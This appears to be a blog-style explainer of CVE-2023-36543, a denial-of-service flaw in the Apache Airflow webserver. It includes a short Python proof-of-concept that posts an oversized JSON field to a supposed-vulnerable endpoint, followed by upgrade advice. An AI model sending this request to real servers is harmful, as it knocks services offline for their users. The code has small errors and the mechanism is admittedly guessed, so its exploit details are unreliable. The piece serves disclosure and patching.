Apache Airflow is a popular open-source platform used to programmatically schedule and monitor workflows. Keeping it secure is critical because its users often have access to sensitive environments and pipelines.

In June 2023, security researchers discovered a serious issue tracked as CVE-2023-36543. This vulnerability allows any authenticated user to freeze the Airflow webserver with a simple, crafted request—causing a denial of service (DoS) and making the site unavailable to others.

Let's break down what this means, see how the exploit works, and talk about how to fix it.

What is CVE-2023-36543?

The vulnerability lives in Airflow's webserver. Before version 2.6.3, bad input to certain endpoints wasn't properly handled: an authenticated user could send specifically crafted data that triggers the server's request handling loop to hang indefinitely.

Attackers: Must be authenticated (i.e., logged in as any user)

- Impact: Makes Airflow webserver unresponsive; workflows can't be scheduled or managed via the UI

References

- NVD Description of CVE-2023-36543
- Apache Airflow Security Advisory (GHSA-v78f-7xg8-9635)
- Official Airflow 2.6.3 Release Notes

How Does the Exploit Work?

In Airflow, some web requests are parsed without proper limits or guardrails. Specifically, a user can send a huge or malformed JSON payload to some endpoints. The server tries to parse and process this unexpectedly large or bad input and ends up stuck in an infinite loop, effectively freezing the request worker.

On setups where only a few webserver workers are running, just a couple of these requests can make the whole UI unavailable until a manual restart.

Simple Exploit Example

Let’s see what an attack could look like in code.

> Warning: This example is provided for educational purposes only—never use this code against systems you do not own or have explicit permission to test!

Suppose the /api/v1/dags endpoint is vulnerable

import requests

# Replace these with the actual Airflow URL and credentials
AIRFLOW_URL = "http://localhost:808/api/v1/dags";
USERNAME = "user"
PASSWORD = "password"

# Gigantic input; more than the server can reasonably parse
payload = {
    "dag_id": "DOS",
    "schedule_interval": "@" + "a" * 10_000_000  # Oversized string
}

session = requests.Session()
session.auth = (USERNAME, PASSWORD)
headers = {"Content-Type": "application/json"}

# Send the malicious POST request
response = session.post(AIRFLOW_URL, json=payload, headers=headers)
print("Status code:", response.status_code)

Multiple workers can be killed off with only a handful of requests, making the UI unavailable.

This input might need to be adjusted depending on the actual vulnerable endpoints and parsing logic, but the pattern holds: an authenticated user can send a crafted, oversized or weird request to freeze Airflow.

How Can You Fix It?

Upgrade! The Airflow maintainers released version 2.6.3 to fix this bug. The fix is to properly handle anomalous input and timeout or reject it quickly, so the server never gets “stuck” on user-provided data.

To fix:

`bash

docker pull apache/airflow:2.6.3

Summary

CVE-2023-36543 is a dangerous DoS flaw in Apache Airflow—any logged-in user can freeze the web UI by sending one unusual request. This can disrupt an entire team’s workflow management.

Don’t wait:

Stay safe, and keep your workflows running!

*For full details, read the official advisory and update notes.*

Timeline

Published on: 07/12/2023 10:15:00 UTC
Last modified on: 07/31/2023 17:47:00 UTC